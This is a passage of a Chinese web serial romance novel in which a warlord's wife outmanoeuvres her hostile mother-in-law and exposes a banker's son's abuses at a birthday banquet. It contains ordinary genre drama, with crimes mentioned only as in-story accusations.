“妹妹,你要清楚,你们家的好日子,是系在山青身上,更是系在我能不能在这督军府后宅说得上话!那江家女有家世又得宠,如果不打压下去,将来没有我站的地方,难道还能有你们这些所谓的姨父姨母站的地方?”
“至于牺牲?”老夫人冷哼一声,“这算什么牺牲?嫁给白家少爷,锦衣玉食,富贵荣华,是多少人求都求不来的福气!不过是年轻人闹点别扭,等成了亲,收了心,自然就好了。”
“你难道要为了佑宁一时任性,毁了咱们两家的布局,毁了你陈家在南川和东湖的体面?”
“……”
陈夫人被这一连串的话砸得头晕目眩,张了张嘴,却发现自己一个字也反驳不了。
姐姐的话像一张无形的大网,将她牢牢捆住,那些对女儿的心疼,在赤裸裸的利益和权势面前,显得那么苍白无力。
她想起丈夫如今的风光,想起陈家在南川和东湖的地位,再想起如果真的违逆了姐姐的后果……她打了个寒战,终于,慢慢地低下头去,声音细若蚊蚋:
“我……我知道了,都听姐姐的安排。”
老夫人看着她屈服的模样,神色稍缓,重新靠回引枕上,语气恢复了平日里的雍容:“这才对。”
“你放心,佑宁是我的亲外甥女,我还能害她不成?等她嫁过去,白家少奶奶的身份只会让她更尊贵。至于现在闹点脾气,小孩子家,哄哄就好了。你这做母亲的,也该好好劝劝她,别总由着她性子胡来。”
陈夫人唯唯诺诺地应着,心中一片冰凉。
这桩婚事已成定局。
第107章 突然想她,回家看她
垆雪院这边,江浸月正在看医书。
陈佑宁如同游魂一般飘了进来,脸上泪痕交错,眼神空洞,七魂仿佛丢了六魄。
“问出来了?”江浸月放下书。
陈佑宁嘴巴一瘪,哇的一下就哭了,一边哭,一边将寿松堂里的对话复述给她。
江浸月静静听着,面上不显,心中却是一凛。
她没想到老夫人对她的芥蒂竟然如此之深。
陈佑宁哭得上气不接下气,抓住江浸月的衣袖,像抓住最后一根救命稻草:“我、我不是为了让你帮我才编的,这些话真的是姨母亲口说的!”
“我知道你说的是实话。”江浸月将手帕递给她,语气平静,却叫人安心,“好了,现在我们是一条船上的人了,我会帮你破局的。别哭了。”
陈佑宁泪眼里燃烧起绝处逢生的希冀:“你、你真的愿意帮我吗?你要怎么做?”
“帮你也是帮我自己。”江浸月没说怎么做,“你先回家,别让人看出异样,尤其是在你父母面前。等我的消息。”
“好,好,我等你,我等你。”陈佑宁用力点头,用力擦去眼泪,离开垆雪院。
江浸月起身走到窗边,微微皱眉。
她没想到老夫人居然这么介意她……
扪心自问,她从嫁入督军府以来,对老夫人都很谨慎,除了没顺着老夫人的意,主动为晏山青纳宋知渝为妾以外,对她也算得上言听计从、毕恭毕敬,有尽到做儿媳的责任。
难道是因为茶楼事件,晏山青为了给她出气,跟老夫人杠上,逼得老夫人不得不送走宋知渝以做交代,她就觉得她是破坏他们母子感情的“祸水”?
江浸月左思右想,想到最后,嘴角一哂。
也许问题本就不在于她具体做了什么,而在于她这个儿媳,打从一开始就不是老夫人想要的。
她二嫁的身份,她身上的流言蜚语,在老夫人眼中都是不可饶恕的瑕疵;晏山青对她的维护,在外在内都给了她督军夫人的体面,更是动摇了老夫人在后宅说一不二的权威。
所以,打压成了必然。
想通了这一层,江浸月眼神也淡了下来。
既然老夫人要开战,那她就,奉陪到底。
……
暮色四合,窗外的天空由橙转灰。
明婶走到江浸月身侧,轻声问:“夫人,晚膳准备好了,现在要用吗?”
江浸月刚要说“好”,一道低沉的嗓音便从门口传进来:
“看来我回来得正是时候?”
江浸月循声转头,就见晏山青大步跨过门槛,带进一身春夜微凉的空气。
军装外套随意搭在臂弯,衬衫领口松了颗扣子,眉宇间带了几分处理公务后的倦色,但眼神依旧锐利。
“督军?”江浸月有些意外,“您不是说军政处事忙,最近不回了么?”
晏山青径自走到桌边坐下,将外套递给跟上来的辛儿,提起茶壶给自己倒了杯热茶。
“那边灶台坏了,开不了火。附近馆子瞧了瞧,不是面就是粥的,不顶事。想着离府也不远,不如回来吃完再过去。”
江浸月眨了眨眼,已经看出来他是找借口,压下上扬的嘴角,故意道:“灶台也能坏啊?而且我记得军政处后街那家刘记卤肉饭做得不错,肉香汁浓,督军没想去尝尝?”
“卤肉饭太腻。”
晏山青面不改色,又给自己续了半杯茶,语气淡淡的,“怎么?垆雪院没有我的饭?那我走?”
说着就起身。
江浸月唇角弯起,清丽的眉眼在渐浓的暮色与初亮的灯火映照下,漾开一抹生动的暖意。
她快步上前,拉住他的袖口,声音放软:“有,怎么会没有?明婶,让厨房再加两道督军爱吃的菜。”
明婶在一旁看得嘴角含笑,连忙应声。
晏山青被她拉住袖口,顺势坐了回去,反手握住她的手腕。
他的手掌宽大温热,带着常年握枪的薄茧,指腹在她细腻的腕间皮肤上若有若无地摩挲。
“这还差不多。”没辜负他,突然想回来看她。
饭菜很快端上来,四菜一汤,都是家常菜色,热气蒸腾,香气扑鼻。
江浸月替他布了筷,自己也拿起汤匙,舀了一小口鲜笋鸡汤,随口提起:“对了督军,下午佑宁表妹来过垆雪院了。”
晏山青:“来做什么?”
“哭得厉害,说她不想嫁给白泽宇,”江浸月留意着他的神色,“想求督军,纳她为妾。”
晏山青嗤笑一声:“胡言乱语。”
江浸月替他盛了半碗汤,状若不经意地问起:“那督军对陈、白两家这门亲事怎么看?”
晏山青接过汤碗:“陈家的婚事,自然是陈家人自己做主。真把我当父母官了?什么事都要我管?”
“哦。”
江浸月这就放心了。
只要他不在乎这件事的结果,那么她就可以放手去应对老夫人的算计。
她始终记得,晏山青才是她的东家,不伤害东家的利益,是她事后全身而退的保障。
……
两日后,辛儿攥着张烫金请帖,喜滋滋地进了垆雪院。
江浸月正在案桌前临摹字帖,辛儿凑上前去:“夫人,夫人,您快看!金隆银行白老爷五十大寿的请帖,特意送到咱们院!外头那些人,总算知道该巴结谁了!”
江浸月抬眼扫了下那花里胡哨的帖子,继续运笔,慢声道:“傻丫头,这哪是巴结我,分明是给我递刀子。”
辛儿愣在原地:“啊?递刀子?这不是好事吗?”
江浸月写完最后一笔,放下毛笔,拿起旁边的湿帕子擦了擦手,这才接过请帖:
“你想想,白家与督军有交情,真要请督军府赴宴,帖子该送谁手里?”
“那肯定是督军啊。”辛儿想都没想。
“若是请后宅女眷,又该送哪儿?”
“应该送到老夫人那里,因为老夫人执掌中馈……”辛儿渐渐反应过来,脸色变了,“他们是故意的?想让老夫人觉得您越俎代庖?”
“不止。”
江浸月指尖点了点“督军夫人亲启”几个字,眼神微冷,“我要是接了帖子,老夫人会恼我僭越、不懂规矩;督军若是知道了,说不定会疑心我背着他与白家有往来。我里外不是人。”
辛儿急了:“那、那怎么办?总不能退回去吧?退回去也会被抓住把柄吧?”
第108章 刀光剑影,处处都是陷阱
“当然不退。”
江浸月将请帖放下,微微一笑,“你去问问管家,有没有白家的电话号码?记下来给我。”
辛儿虽然不知道她要干什么,但还是赶紧应了一声,小跑着出去打听。
不到一刻钟她就回来了,手里攥着纸条:“夫人!有!问到了!”
江浸月走到手摇电话机旁,照着号码拨了过去。
接线员转接后,那头传来白府管家客气的声音:“您好,白家,请问是哪位?”
“督军府,江浸月。”江浸月声音平当无波,“我找白老爷。”
对方愣了一下,随即语气变得恭谨:“您稍等!”
没一会儿,白术业带着笑意的声音就传了过来:
“哎呀,竟然是督军夫人,稀客,真是稀客!没想到您亲自打电话过来,是为了寿宴的事吗?帖子您收到了吧?到时候还请务必赏光——”
“白老爷。”江浸月直接打断他的话,“帖子我是收到了,打这通电话也是为了这件事。”
“哦?”
“白老爷在南川也是有头有脸的人物,规矩礼数,总该比旁人清楚。这请帖,要请督军,就该送到军政处;要请后宅女眷,就该递到寿松堂老夫人手里。”
“现在帖子送到我这个刚过门半年的新媳妇院子里,不知道白老爷是按哪门子的规矩?”
电话那头原本圆滑的笑声戛然而止。
白术业没想到她会这么单刀直入,半点迂回和客套都没有,一时间接不上话:“……”
江浸月也懒得等他的回应,把话说完:“督军重规矩,老夫人掌内宅,您这么做,倒是让我难办了——收了,是我不懂分寸,僭越了长辈;不收,又成了我不识抬举,驳了白家的面子。”
“白老爷这到底是想邀我赴宴呢,还是故意给我添堵呢?”
“……”
白术业的呼吸有些重,显然是被她诘问得接不上话。
过了好一会儿,他才找回声音,赔笑道:“夫人言重了,是我考虑不周,光顾着惦记您身份尊贵,反倒忘了内宅的规矩,实在对不住!”
“白老爷明白就好。”江浸月无心想他到底是故意还是无意,“那就请重新安排请帖吧。”
白老爷深吸了口气:“是是是,夫人提醒得对,是我老糊涂了!我这就重新备帖,一份送到督军那儿,一份敬呈老夫人,这次绝对不会再出差错!”
“好。”
挂了电话,江浸月神色从容。
辛儿在旁边听得眼睛都直了,满脸崇拜:“夫人,您也太厉害了吧!几句话就把白老爷吓住了!”
江浸月笑:“他不是被我吓住,是被我说破没办法。”
果然,没过半天,白家就派人重新送来了两封请帖。
一份写着“晏督军亲启”,一份是“晏老夫人台鉴”,格式规整,措辞恭敬,挑不出半点错处。
这个不大不小的陷阱,就这么被江浸月四两拨千斤地平息了。
明婶回来知道这件事,吓得不轻,直呼刀光剑影,处处都是陷阱,还好江浸月聪明,否则一不小心就中了套。
江浸月支着额角,想着这白家,是铁了心要帮老夫人收拾她。
挺好。
他们江、白两家的旧账,也是时候该算一算。
……
此时,军政处办公室。
晏山青刚开完一场会,正在看几份机密电报,苏拾卷拿着一份请帖晃了进来:
“白家这寿宴搞得挺热闹的,听说东湖、南川两地有头有脸的人物都请了,要在洋楼大办一场。不过也是,最近白家势头大好,白术业又是五十大寿,大办也在情理之中。”
晏山青扫了一眼请帖,没理。
“闲着也是闲着,我准备去凑个热闹。”苏拾卷笑眯眯地靠在桌沿,“你去不去?你好歹也算是他半个靠山,不去给他撑撑场面?”
“没空。”晏山青拿起钢笔,在报文上的重点划了几笔,“这种应酬,你替我去就行。”
“行吧。”苏拾卷并不觉得意外,话锋一转,“那弟妹去不去?白家应该也请了督军府吧?”
晏山青笔尖没停:“她也不去。”
苏拾卷挑了挑眉:“她跟你说的?”
“江家跟白家有过节,她不是‘明知山有虎偏向虎山行’的人。”晏山青猜的。
苏拾卷挤兑:“哦,我还以为你是又‘偷偷’跑回督军府跟弟妹吃饭,她跟你说的呢。”
某督军开会开一半,说要回家吃饭,吃完再继续开的事迹,已经被嘲笑两天了。
晏山青凉凉地掀起眼皮:“你要是不想在南川待下去,就回东湖换祝芙过来。你在东湖还能跟你小妈朝夕相处。”
“……”苏拾卷嘴角向下一撇,说不出话了。
·
另一边,寿松堂里。
老夫人坐在黄花梨木雕花椅上,手里端着茶盏,脸上带着慈祥的笑,看着下首的江浸月:
“浸月啊,过几天白家办寿宴,你陪我一起去吧。”
江浸月神色温顺,轻声道:“母亲,实在对不住,儿媳怕是没办法陪您去了。”
老夫人就问:“这是为什么?”
“前几天我不小心感染了风寒,虽然现在看着好得差不多,但大夫特意嘱咐,让我近期好好静养,别去人多嘈杂的地方,免得病情反复。”
“不过是些许风寒,哪就这么金贵了?”老夫人笑得更加温和了,语气却带着不容拒绝的意味,“白家快要跟咱家做亲戚了,我带你去认认人,也是应该的。”
“还是说……你不愿意陪我老婆子出门?”
话都说到这份上了,已经是带着威压了。
江浸月垂下眼帘,掩去眸中的思绪,再抬眼时,脸上已经换上温柔的笑意:
“母亲说哪里的话,能陪母亲出门,是我的福气。我只是担心自己礼数不到位,给母亲丢脸。既然母亲不嫌弃,我自然愿意陪同。”
“这才对嘛。”
老夫人满意了,重新靠回椅背上,“那就这么定了。衣裳首饰你好好准备,到时候可别丢了咱们督军府的体面。”
“是,母亲。”
从寿松堂出来,午后的阳光有些刺眼,江浸月慢慢走在回廊下,神色看着平静,思绪却是翻涌。
老夫人特意点名要她一起去白家寿宴,恐怕不只是“认认人”那么简单。
这场寿宴,大有文章。
……
之后两天,晏山青都没有回督军府。
江浸月原本还想等他回来,提一句寿宴的事,至少让他知道自己的动向,可直到寿宴当天,依旧不见他的身影。
明婶正服侍她更衣梳妆,江浸月看着镜中一身珠灰色软缎旗袍,外罩浅银线刺绣短披肩的自己,右眼皮忽然不安地跳了两下。
她当机立断回头,对明婶道:“您现在去一趟军政处,要是见到督军,就跟他说,我今天陪老夫人去白家赴宴。要是见不到,就留个口信给他的副官。”
明婶愣了一下,忙应声:“夫人放心,我这就去。”
江浸月戴上珍珠耳坠。
镜中人眉目清丽,气质沉静,一身装扮端庄得体,既不张扬,也不失督军夫人的气度。
她素来不爱刻意显摆,但也从不在衣着礼数上失半点分寸。
她独自走出督军府,大门外,两辆黑色汽车已经等候着。
老夫人穿了一身绛紫色团花缎面旗袍,外罩黑绒斗篷,满头银丝梳得一丝不苟,正由宋知渝搀扶着站在车前。
宋知渝也穿了一身水粉色的洋装,裙摆蓬松,衬得她娇柔温婉。
江浸月眉梢微微一挑,她不知道,老夫人竟然要带宋知渝赴宴。
第109章 要她给宋知渝抬轿!
宋知渝看到江浸月,目光先是在她那身素雅却又极显身段的旗袍上停留片刻,眼底掠过一丝不易察觉的嫉妒。
随即扬起温柔的笑意:“夫人来了,夫人今天真是好看。”
江浸月只朝老夫人微微颔首:“母亲。”
老夫人笑容慈和,拍了拍宋知渝的手,却对江浸月道:“浸月啊,一辆车坐两个人刚好,我离不开知渝,你就去后面那辆车吧。”
一同赴宴,婆媳却不共乘一车,反倒让宋知渝陪着老夫人,明显就是想在外人面前抬举宋知渝,故意踩江浸月的脸面。
江浸月面色如常,温顺地应道:“是,母亲。”
老夫人便扶着宋知渝的手上了车,车子很快开动起来。
宋知渝回头看了一眼,语气带着做作的担忧:“老夫人,您这样……会不会太让夫人没脸了?她到底是正室……”
老夫人轻哼:“我就是要让外头那些人看清楚,在这督军府后宅,谁才是我心尖上的人!”
“傻丫头,你别心软,茶楼那事闹得满城风雨,好些人在背地里嚼你的舌根,今天正好叫他们看清楚,我依旧最疼你!”
宋知渝闻言,眼眶骤红,立刻抱住老夫人的胳膊:“谢谢老夫人……这些年要不是有您护着,知渝早就活不成了。您待我,比亲生母亲还要亲。”
老夫人目光蓦地柔软下来,轻轻抚了抚她的发顶:“你阿妈刚生你的时候奶水不足,你瘦弱得跟小猫似的,哭都哭不出声。那时候我也刚生了山青,就连你一起奶了。”
“我这辈子没生养女儿,早就将你当成亲生骨肉,就算你当不了山青的妻子,我也绝对不会让你受半分委屈。”
“老夫人……”宋知渝感动得声音哽咽,“您这样,我都不知道该怎么报答您。”
老夫人笑了:“傻丫头,你对我的心我一直都知道。要不是你提醒我小心江浸月坐大,我会没有立足之地,我都想不到拉拢白家打压江家,你这么为我打算,就是在报答我了。”
宋知渝依恋地靠着她,眼底掠过一抹暗光:“知渝明白的,只有老夫人好,知渝才好。”
老夫人将她的手握在掌心,眼底闪过一丝精光:“今天,我便是要让江浸月给你作配,把你丢掉的面子,重新挣回来!”
·
白家寿宴设在洋楼。
灯火通明,衣香鬓影,舞池乐声悠扬,东湖、南川两地的政商名流几乎到齐,谈笑风生不绝于耳,可见白家如今的声势有多盛。
老夫人携着宋知渝与江浸月一同入场时,立时引来满场注目。
白术业与白夫人亲自迎上前,满面堆笑地打招呼,老夫人却只将宋知渝往前带了带,笑着对白术业说:
“这是知渝。她从小在我身边长大,跟我亲生女儿一样贴心。”
她只介绍宋知渝,完全略过了站在稍后一步的江浸月。
白术业何等精明,立刻就明白这是老夫人故意要“抬宋压江”,他跟老夫人是一条船上,自然是顺水推舟。
面上笑容不变,从善如流地与宋知渝寒暄,又向老夫人敬酒问好,对一旁的江浸月只是随意地点点头,连一句像样的场面话都没有说。
暗中关注他们这边的宾客,都不由得窃窃私语起来。
“那不是宋小姐吗?不是说她假孕假摔陷害督军夫人后就被送去山上清修吗?什么时候回来的?还这么得脸?”
“谁知道呢……不过看这架势,老夫人明显就是要抬举她,不知道的还以为她才是督军夫人呢!”
“啧啧,督军夫人面上倒是平静,换作是我,早挂不住脸了……”
老夫人耳尖,听到了人们的议论,忽然转过头,对着那几个宾客的方向就说:“什么假孕假摔,都是些以讹传讹的闲话!”
“知渝那天只是身子弱,不小心跌下楼梯,哪有那么多弯弯绕绕?有些人啊,就爱捕风捉影,唯恐天下不乱!”
这种话,不就是当着江浸月这个受害者的面儿,彻底推翻了之前的事,将宋知渝洗得干干净净。
江浸月总算知道老夫人非要她来白家寿宴是为什么了——要她来给宋知渝“抬轿”。
用她来衬托宋知渝在老夫人心目中的“重要”和“独宠”,再用她来将宋知渝那些事一笔揭过、盖棺论定,让宋知渝可以重新做人。
她心里一哂,面上无波无澜,仿佛这些话与自己没关系。
老夫人瞥了她一眼,见她如此沉得住气,心下冷哼,懒得再理她,径自带着宋知渝往内厅走去,将江浸月独自留在了大厅中央。
众人的目光或明或暗地投过来,好奇、怜悯、审视、讥诮……种种目光交织成一张无形的网。
江浸月丝毫不在意,径自走向相对安静的角落,从侍者的托盘中取了一杯清水,慢慢啜饮,目光平静地掠过满堂繁华。
“你怎么忍得住啊!”
一道压低的女声从侧面传来,江浸月转头一看,发现是陈佑宁。
“你也来了?”江浸月挑眉。
“我爸妈硬拽我来的。”陈佑宁撇了撇嘴,看向远处正与宾客谈笑风生的白术业父子,眼神里满是厌恶,“说什么未来亲家,必须到场……我恨不得现在就回家!”
“应该的。”江浸月弯唇,“你是白家未来的儿媳妇,未来公公的五十大寿,怎么能缺席?”
陈佑宁跺脚,声音带上了哭腔:“你别开这种玩笑,我真要哭了!”
江浸月笑了一笑,声音缓下来:“不用哭。我们不是都商量好了吗?就等机会送上门了。”
陈佑宁点点头,吸了吸鼻子,看向老夫人和宋知渝的方向,忍不住问:“你一点都不觉得委屈难堪吗?老夫人那么对你,所有人都看着呢,要是换作我,我早就闹起来了。”
江浸月轻轻转着手中的玻璃杯,目光掠过水晶灯下晃动的光影,声音清淡:
“有什么好难堪?老夫人说那些话,做那些事,除了让一些人背后多几句谈资,还能改变什么?”
她看向陈佑宁,眼底映着细碎的光芒,澄澈而通透,“这世上,能真正决定你处境的人,其实没几个。只要抓住那个关键的,其余人再怎么叽叽喳喳,也不过是蚊子嗡嗡叫,吵是吵了点,却伤不了你分毫,你若浪费时间在他们身上,倒是你吃亏。”
陈佑宁似懂非懂地“哦”了一声,她抿了抿唇,低声道:“虽然已经过了,但我还是想再说一次……以前都是我不好,做了那么多蠢事,你别跟我计较哈,我现在是真的喜欢你。”
“不计较。”江浸月淡声,“因为在我这里,你也属于‘无关紧要’的那一类——你怎么想、怎么做,影响不到我什么。包括你的喜欢,我也不是很在意。”
“……好吧。”
虽然有点扎心,但莫名觉得,这话很有道理是怎么回事?
·
两人随意说着话,没有注意到,不远处的白泽宇和白泽宙兄弟,目光都黏在她们身上。
第110章 你们真敢逼我吗?
白泽宇看着江浸月,珠灰色的旗袍衬得她肌肤胜雪,缎面的材质衬得她身段窈窕有致。
侧身站立时,脖颈到腰臀的曲线在灯光下朦朦胧胧,再加上那一身清冷如月的气质,看得他心头发痒,那股邪念混着酒气直往脑门冲!
他撞了撞兄长白泽宙的胳膊,压低声音:“哥,你看那位督军夫人,真是越看越够味儿!不愧是伺候过两任督军的人,比以前还勾人了!”
白泽宙也眯着眼打量,比起白泽宇的垂涎三尺,他倒是比较沉稳:“可惜啊,碰不得。”
白泽宇舔了舔嘴唇:“现在碰不得,以后未必。而且就算现在碰不得,说几句话总是可以的吧?敬杯酒的面子,她总不能不给我们吧?”
两人交换了一个心照不宣的眼神,端着酒杯,一前一后地走了过去。
“呦,督军夫人怎么一个人在这里啊?倒是我们白家招待不周喽~”
江浸月和陈佑宁下意识转头,就看到两张同样油腻的脸。
白泽宇笑着朝江浸月举杯:“督军夫人,今日您能赏光前来,真是让白家蓬荜生辉,我敬您一杯。”
江浸月目光掠过那杯琥珀色的酒液,淡道:“多谢白二少爷好意。不过我近日感染风寒,还在服药,不宜饮酒。”
白泽宙的目光放肆地在她身上打了个转,笑着说:“只是一杯酒而已,夫人怎么还要拒绝呢?这是不想给我们白家面子,还是仍记着从前江家与白家那些‘小误会’?”
他以为江浸月会“以和为贵”,做做表面功夫,说些“确实都是误会,以后都是一家人”之类的话。
结果江浸月抬眼,目光清凌凌的:“我不记得有什么误会,只记得一些切切实实的过节。两位白少爷既然知道我们两家素来不和,你们还来敬酒,被我拒绝不是理所当然的么。”
“……”
在他们白家的地盘上,她孤身一人,竟然敢这么下他们的面子!
白泽宙脸色一僵,笑容随即变得阴恻恻的:“不管是不是误会,夫人今天来了,就是愿意跟白家冰释前嫌。这杯酒,您多少沾一口,全了礼数……不然这么多人看着,我们兄弟俩多下不来台啊。”
他边说,边将酒杯又往前递了递,语气和动作里,已经有了威胁的意思。
江浸月看笑了:“我说不喝,就是不喝。白大少爷,我虽然年轻,但还没遇到过敢逼我喝酒的人。”
她目光扫过兄弟二人,语气里透出淡淡的讽刺,“我知道白家如今春风得意,但你们也该记得这份‘得意’是谁给的——你们真敢逼我吗?”
白泽宇兄弟俩的脸色瞬间难看起来。
他们当然不敢!
他们白家的风光靠的是她丈夫晏山青!
晏山青的脾气手段,他们都非常清楚,真逼了江浸月,他们可能都没好果子吃!
不远处,苏拾卷听到了他们的对话,无声地笑了笑,但又打从心底觉得,也只有这样的女人才配得上杀伐决断的晏山青。
白泽宇调戏不成,眼神都阴鸷了几分。
他忽然转向一旁的陈佑宁,语气变得轻佻而恶劣,仿佛要将在江浸月那里受的气,全撒在她身上:
“佑宁妹妹,督军夫人不想喝,你总该喝一杯吧?咱们都是一家人了,这杯酒,你可不能不给面子。”
陈佑宁厌恶地别开脸:“我不喝!谁跟你是一家人?!”
白泽宙冷笑一声,火上浇油:“弟弟,你媳妇好像不听你的话啊。”
陈佑宁怒斥:“我不是他媳妇!婚事还没有正式定下来,什么变数都有可能发生!”
这句话彻底激怒了白泽宇!
他本就因为在江浸月那儿碰了钉子,憋了一肚子邪火无处发泄,现在连陈佑宁也敢这么嚣张地拒绝他,简直是岂有此理!
他气血上涌,脸色骤沉,伸手就去抓陈佑宁的手腕,另一只手端着酒杯直接往她嘴里灌下去!
“给脸不要脸!今天这杯酒,你非喝不可!”
“白泽宇——!!”
陈佑宁尖叫一声,奋力挣扎,两人推搡间,江浸月给了她一个极快的眼神。
陈佑宁反应过来,借着白泽宇拉扯的力道,整个人猛地向后一倒,朝着那座堆叠着香槟杯的酒塔重重撞去——
“哗啦——!!!”
巨大的声响瞬间压过宴会厅的所有喧哗。
晶莹剔透的玻璃塔轰然倒塌,无数酒杯碎裂飞溅,酒液四散泼洒,瓷片与玻璃渣崩了一地,在灯光下折射出混乱而刺目的光!
满堂宾客惊愕地转头!
音乐骤停!
只见陈佑宁摔在一片狼藉之中,手臂、脸颊都被飞溅的玻璃划破好几道口子,鲜血混着香槟酒液往下淌,整个人看起来触目惊心!
她抬起头,泪眼朦胧,浑身颤抖,伸出染血的手指,直直指向呆立当场的白泽宇,声音凄厉:
“你居然动手打我?!白泽宇,你欺人太甚!!”
满场哗然!
“动手打人?这位是陈师座的女儿吧?白家嚣张到这个地步?连陈师座的独生女、督军的亲表妹,都敢打??”
“听说他们两家要结亲了……”
“要结亲就能打人吗?!眼里还有没有陈家?有没有督军?!这白家真是猖狂过头了,小心登高跌重!”
“……”
白泽宇手里还捏着那只空了大半的酒杯,听着周围的声音,他脸色青一阵白一阵:“你、你胡说八道什么?!我什么时候打你了?明明是你自己摔的!”
“我自己摔的?!”
陈佑宁撑着地面,艰难地坐起身,大声道,“你逼我喝酒,我不肯,你就抓住我的手腕,把酒往我嘴里灌!白泽宇,你敢做不敢当吗?!你当这里所有人的眼睛都是瞎的吗?!”
她转头看向周围的宾客,眼泪扑簌簌往下掉,“各位叔伯长辈、夫人小姐,你们刚才都看见了吧?是不是他先动的手?是不是他强行逼我喝那杯酒?!”
苏拾卷旁观了全程,自然也没有错过两个女人对视的那一眼,他垂下眼若有所思。
其他宾客还没有反应过来,江浸月就是一句:“是的,我都看见了。”
所有人看向她——
【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次~】
第111章 江浸月你给我跪下!
江浸月声音淡漠:“方才,我就在佑宁妹妹身旁,看得清清楚楚。白家两位少爷端着酒过来,说要敬我酒,被我拒绝后,就去逼迫佑宁妹妹,才会弄成现在这样。”
有了督军夫人带头做证,几个本就看不惯白家做派,或是与江家交好的宾客,立刻有了底气,纷纷出声:
“我也看见了!白二少爷确实太过分了,怎么能这么对一个女人呢?”
“就是!逼着姑娘喝酒,不成还动手,看把陈小姐都伤成什么样了!”
周围的声音越来越大,白泽宇左右看了看,第一次承受这种千夫所指,额角青筋暴起,他恶狠狠地瞪向那些说话的宾客,骂道:
“你们算什么东西也敢来指责我?!信不信明天就让你们在南川城混不下去!”
那几位宾客立刻露出畏惧又不忿的表情。
江浸月冷笑:“哦?原来白少爷才是这南川的主人,你是不是也要让我在南川混不下去?”
“……”白泽宇呼吸粗重,说不出话。
陈师座和陈夫人刚才在楼上,闻讯赶了过来。
陈夫人看到女儿满身血迹、狼狈不堪的模样,心疼得眼泪立刻涌了出来,不管不顾地将陈佑宁一把护在身后,指着白泽宇怒声斥道:
“白泽宇!你真当我陈家人都死绝了吗!真当我陈家没了这门婚事就不成了吗?!佑宁是我四十岁才生下的唯一女儿,我如珠似宝地捧在手心里养大,你居然这么欺负她,你可恶!”
陈师座也铁青着脸,拦在妻女面前,他没有说话,但也看得出来非常生气。
白泽宙一把拉住弟弟,赶忙对陈师座和陈夫人拱手赔笑道:“陈师座,陈夫人,这都是误会……泽宇就是想跟陈小姐喝杯酒,拉扯之间有点儿没收住手劲,才不小心推倒了陈小姐,他不是有意的,更不是欺负陈小姐,我这就让他跟陈小姐道歉!泽宇!”
白泽宇很不情不愿,但被大哥瞪了一眼,他才勉强说:“对不起啊佑宁妹妹。”
“别,可不敢担白二少爷的道歉。”陈佑宁擦了一把脸上的血,冷笑连连,“你对我动手动脚也不是一次两次了,别说是打人了,就是杀人,你又有什么不敢?你以为你做的那些龌龊事,真的没人知道吗?!”
没人在意宴会了,宾客们都围了过来。
陈佑宁咬牙切齿道:“半年前,城南师范那个叫王菊的女学生,不肯从你,就被你派人糟蹋,以至于她不堪受辱,跳河自尽!”
“还有上个月,城西药材铺的王老板,为了保护自己的妻子不让你霸占,也被你带人活活打死在暗巷!”
“由此可见,你白少爷就是这南川的土皇帝,杀了人都可以不用负责任,更别说是逼我、辱我、打我了!”
陈佑宁的控诉如同一道惊雷,在富丽堂皇的宴会厅里炸响。
宾客们又惊又疑又不可置信:“天啊……竟然还有这种事?!”
“白家也太无法无天吧!”
风向彻底变了,方才还有所顾忌的宾客,此刻看向白泽宇的眼神都充满震惊。
白泽宇被一道道目光刺得应激,他没想到陈佑宁会说出这些话,白家帮他摆平这两件事也是费了九牛二虎之力的,现在被翻出来,他恐慌、愤怒,面目狰狞地吼道:
“你胡说八道!血口喷人!我没有!”
“那个女学生是自己跳河的!那个掌柜的是自己突发急病死的!跟我有什么关系?!陈佑宁,你这个贱人,你再胡说八道一句试试看!”
陈佑宁浑身颤抖地往陈夫人身后躲去:“阿爸,阿妈,你们都看到了吧?!我还没过门,在这大庭广众下他就敢这么对我,更别说我过了门和他在一个屋檐下!你们就等着哪天在家突然接到我‘突发急病暴毙’的消息吧!”
陈夫人一听这话,脸色唰地一下就白了!
她看着浑身是血的女儿,再看到面目狰狞的白泽宇,再也顾不得什么荣华富贵了,她立即道:“不嫁了!不嫁了!谁敢把我女儿嫁给这种杀人犯,我就跟谁拼命!”
“——够了!”
老夫人威严的声音骤然响起,压过满场喧嚣。
她在宋知渝的搀扶下,缓步从内厅走了出来,面色沉肃,目光冷冷地扫过陈夫人:
“妹妹,孩子们玩闹失了分寸,你当长辈的不说劝和,反倒跟着胡闹,成何体统?”
陈夫人被老夫人这一喝,气势弱了三分,但看到女儿这副样子,心疼和后怕还是占了上风,她红着眼眶道:“姐姐,你看佑宁都被欺负成什么样了,这白泽宇他……”
“泽宇年轻气盛,佑宁也娇惯任性,两个孩子闹了点不愉快,说开了就好。今天是白老爷的寿宴,何必为小儿女的口角伤了和气?”
她三言两语,就把一场当众施暴轻描淡写地定性为“小儿女玩闹”。
苏拾卷不动声色地后退,推出中心圈,随手抓住一个侍者:“电话在哪里?”
侍者愣了一下,下意识指向二楼:“楼上……”
苏拾卷大步上楼,拿起电话,朝军政处拨去电话。
白术业夫妇也来了,听到老夫人这话,立刻顺着台阶下:“老夫人说得对!都是误会!”
“小儿鲁莽,回头我们一定会狠狠责罚他!陈师座,陈夫人,佑宁侄女的医药费、补偿,我们白家一定加倍奉上,绝对不让侄女受半点委屈!”
眼看事情就要被大事化小、小事化了,陈佑宁慌得不行,下意识看向江浸月,江浸月蓦地开口:
“奸淫掳掠、杀身害命,恐怕不是一句‘小孩子玩闹’就能盖过去。母亲,这是白家的事,您还是不要太掺和比较好。”
她竟然敢当众驳斥老夫人!
老夫人脸色骤然阴沉,目光如刀,剜向江浸月:“你这是在教训我?我吃过的盐比你吃过的米还多,轮得到你来教我做事?!”
“儿媳不敢。”江浸月话语恭敬,语气却是寸步不让,“只是提醒母亲,众目睽睽之下,强行遮掩这种事,只怕会落人口实,损了督军府的清誉,也辜负督军治下‘法度严明’的声名。”
“你!”老夫人气结!
宋知渝连忙扶住她,柔声劝道:“老夫人息怒,夫人她也是一时情急,并非有意顶撞。”
这话看似劝解,实则火上浇油。
老夫人果然更生气了:“你说你刚才一直跟佑宁在一起?我说呢,佑宁怎么会突然胡闹起来,一定是你在背后怂恿她!江浸月,你真以为我不敢教训你吗!我可是你婆婆!你现在就给我跪下!”
第112章 我问我夫人,你们插什么嘴
江浸月端站在原地一动不动:“母亲息怒,母亲的责罚,浸月不敢不受,只是事有轻重缓急,现在更严重的是白泽宇草菅人命,等料理了这件事,我再随母亲回府领罚。”
老夫人看她就是想等回府有晏山青撑腰!
她怒意翻涌:“你放肆!”
